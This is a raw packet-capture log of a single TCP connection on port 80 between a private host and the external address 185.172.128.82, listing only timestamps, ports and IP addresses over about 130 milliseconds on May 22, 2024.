May 22, 2024 20:06:30.458324909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.458345890 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.458384991 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.459037066 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.459083080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.459106922 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.459131956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.459161043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.459209919 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.459224939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.459270000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.459292889 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.459316015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.459880114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.459925890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.459950924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.459975004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.460002899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.460052013 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.460067987 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.460171938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.460797071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.460844040 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.460885048 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.460912943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.460931063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.460983992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.460998058 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.461031914 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.461059093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.461107969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.461630106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.461677074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.461700916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.461726904 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.461755037 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.461808920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.461823940 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.461857080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.462512016 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.462558031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.462582111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.462615013 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.462636948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.462691069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.462706089 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.462742090 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.462766886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.462814093 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.462832928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.462888956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.465217113 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.465276957 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.465303898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.465527058 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.465593100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.465657949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.465734005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.465775013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.465806007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.465823889 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.465859890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.465910912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.466166973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.466214895 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.466237068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.466270924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.466415882 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.466463089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.466505051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.466523886 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.466557980 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.466604948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.466626883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.466665983 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.466686964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.466732979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.466756105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.466792107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.467950106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.467995882 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.468022108 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.468054056 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.468075991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.468133926 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.468228102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.468274117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.468296051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.468328953 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.468355894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.468409061 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.468424082 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.468460083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.468482971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.468539000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.468553066 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.468585968 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.469065905 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.469120026 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.469134092 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.469172955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.469194889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.469249010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.469261885 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.469295979 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.469321966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.469369888 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.469906092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.469954014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.469979048 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.470005989 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.470032930 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.470082045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.470098972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.470190048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.470211029 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.470242977 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.470272064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.470325947 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.470781088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.470827103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.470849037 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.470890045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.470916033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.470938921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.470968008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.471020937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.471035957 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.471077919 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.471616983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.471662998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.471684933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.471718073 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.471745968 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.471791029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.471812963 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.471838951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.565165043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.565205097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.565252066 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.565279961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.565665007 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.565718889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.565743923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.565776110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.565829992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.565884113 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.565907001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.565963030 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.565989017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.566037893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.566054106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.566098928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.566123009 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.566148043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.566178083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.566231966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.566246033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.566287041 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.566309929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.566407919 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.567481995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.567536116 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.567559958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.567595005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.567641973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.567698002 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.567753077 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.567800999 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.567826033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.567861080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.568087101 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.568136930 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.568181992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.568206072 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.568233013 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.568461895 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.568511963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.568536043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.568558931 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.569854021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.569904089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.569924116 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.569973946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.569999933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.570044041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.570069075 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.570095062 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.570125103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.570168972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.570189953 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.570228100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.570251942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.570305109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.570318937 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.570358038 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.570382118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.570434093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.570542097 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.570574045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.570601940 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.570647955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.570668936 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.570713043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.572632074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.572681904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.572705984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.572737932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.572762966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.572818041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.572832108 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.572869062 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.572894096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.572947979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.572961092 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.572995901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.573024035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.573070049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.573102951 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.573156118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.573168993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.573203087 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.573231936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.573278904 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.573295116 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.573342085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.573359013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.573407888 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.573421955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.573467970 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.573488951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.573523045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.573549986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.573597908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.573613882 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.573661089 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.573678017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.573729992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.573744059 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.573776960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.573803902 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.573856115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.576828003 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.576879025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.576904058 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.576939106 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.576961994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.577009916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.577024937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.577069998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.577091932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.577124119 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.577168941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.577223063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.577236891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.577274084 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.577297926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.577347994 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.577363014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.577415943 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.577429056 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.577466011 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.577491045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.577543974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.577558041 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.577595949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.577619076 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.577666998 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.577686071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.577739000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.580842972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.580866098 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.580885887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.580898046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.580914021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.580933094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.580941916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.580957890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.580971956 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.580992937 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581011057 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581022024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.581038952 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.581047058 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581065893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.581077099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581091881 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581110001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.581120014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581139088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.581159115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581165075 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.581181049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581193924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.581202984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581218958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.581238031 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581247091 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.581263065 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581274986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.581291914 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581305027 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.581314087 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581347942 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581892014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.581912994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.581940889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.581948042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581963062 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.581973076 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.581981897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.582014084 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.582726002 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.582746983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.582768917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.582777023 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.582793951 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.582803965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.582825899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.582849026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.583512068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.583532095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.583554029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.583564043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.583580971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.583590031 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.583609104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.583616018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.583642960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.583731890 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.584295034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.584315062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.584336996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.584351063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.584364891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.584379911 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.584415913 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.585797071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.585819960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.585841894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.585849047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.585863113 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.585875034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.585885048 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.585902929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.585935116 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.585963964 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.586148977 CEST	80	49708	185.172.128.82	192.168.2.6
